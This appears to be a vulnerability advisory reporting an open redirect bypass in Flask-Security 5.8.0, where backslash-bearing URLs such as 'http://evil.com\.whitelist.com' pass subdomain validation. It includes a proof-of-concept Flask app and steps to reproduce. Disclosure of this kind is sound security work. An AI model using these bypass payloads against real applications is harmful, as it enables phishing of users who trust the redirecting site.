Open Redirect in Flask-Security

Summary

flask_security.utils.validate_redirect_url() can allow an attacker-controlled redirect URL when subdomain redirects are enabled.

The bypass uses a backslash inside the URL authority/host:

http://evil.com\.whitelist.com
http://evil.com%5C.whitelist.com

Python's urlsplit() parses the full authority as evil.com\.whitelist.com or evil.com%5C.whitelist.com. Because the value ends with .whitelist.com, validate_redirect_url() accepts it as an allowed subdomain of whitelist.com.

This is similar in class to the previous Flask-Security-Too open redirect advisory CVE-2023-49438 / GHSA-672h-6x89-76m5, where crafted redirect URLs bypassed validation through browser URL normalization behavior.

Affected Configuration

The issue requires subdomain redirects to be enabled:

SERVER_NAME = "whitelist.com"
SECURITY_REDIRECT_ALLOW_SUBDOMAINS = True

Tested environment:

Flask-Security: 5.8.0
Flask: 3.1.3
Werkzeug: 3.1.8

Impact

An attacker can craft a URL that passes Flask-Security's redirect validation and produces a 302 response to an attacker-controlled URL-like authority.

This can be used for phishing or other attacks that rely on a trusted application redirecting users to an attacker-controlled destination.

Proof of Concept

PoC Flask App

from __future__ import annotations

from importlib.metadata import version
from urllib.parse import urlsplit

from flask import Flask, jsonify, redirect, request

from flask_security.utils import validate_redirect_url


app = Flask(__name__)
app.config.update(
    SECRET_KEY="poc-only",
    SERVER_NAME="whitelist.com",
    SECURITY_REDIRECT_ALLOW_SUBDOMAINS=True,
    SECURITY_REDIRECT_BASE_DOMAIN=None,
    SECURITY_REDIRECT_ALLOWED_SUBDOMAINS=[],
)


@app.get("/")
def index():
    return jsonify(
        flask_version=version("Flask"),
        configured_server_name=app.config["SERVER_NAME"],
        examples=[
            r"http://evil.com\.whitelist.com",
            "http://evil.com%5C.whitelist.com",
            "http://sub.whitelist.com",
            "http://sub.not-whitelist.com",
        ],
    )


@app.get("/check")
def check():
    next_url = request.args.get("next", "")
    parsed = urlsplit(next_url)

    return jsonify(
        next=next_url,
        valid=validate_redirect_url(next_url),
        parsed={
            "scheme": parsed.scheme,
            "netloc": parsed.netloc,
            "hostname": parsed.hostname,
            "path": parsed.path,
        },
    )


@app.get("/redir")
def redir():
    next_url = request.args.get("next", "")
    if not validate_redirect_url(next_url):
        return jsonify(error="blocked", next=next_url), 400

    return redirect(next_url)


if __name__ == "__main__":
    app.run(host="127.0.0.1", port=5000, debug=False)

Steps to Reproduce

Run the PoC with the target project's Flask version:

.venv/bin/python poc_redirect_app.py

The invalid comparison case is correctly blocked:

http://127.0.0.1:5000/redir?next=http://evil.com

Observed result:

<img width="1019" height="294" alt="image" src="https://github.com/user-attachments/assets/de25ac4d-b37f-4369-928e-f44dfd5b7557" />

Check the validation result:

http://127.0.0.1:5000/check?next=http://evil.com%5C.whitelist.com

Observed result:

<img width="1029" height="634" alt="image" src="https://github.com/user-attachments/assets/8e5ec8a6-42a4-438a-8d12-a27724519091" />

References

• CVE-2023-49438: https://advisories.gitlab.com/pypi/flask-security-too/CVE-2023-49438/
• GHSA-672h-6x89-76m5: https://osv.dev/vulnerability/CVE-2023-49438
• NVD entry for CVE-2023-49438: https://nvd.nist.gov/vuln/detail/CVE-2023-49438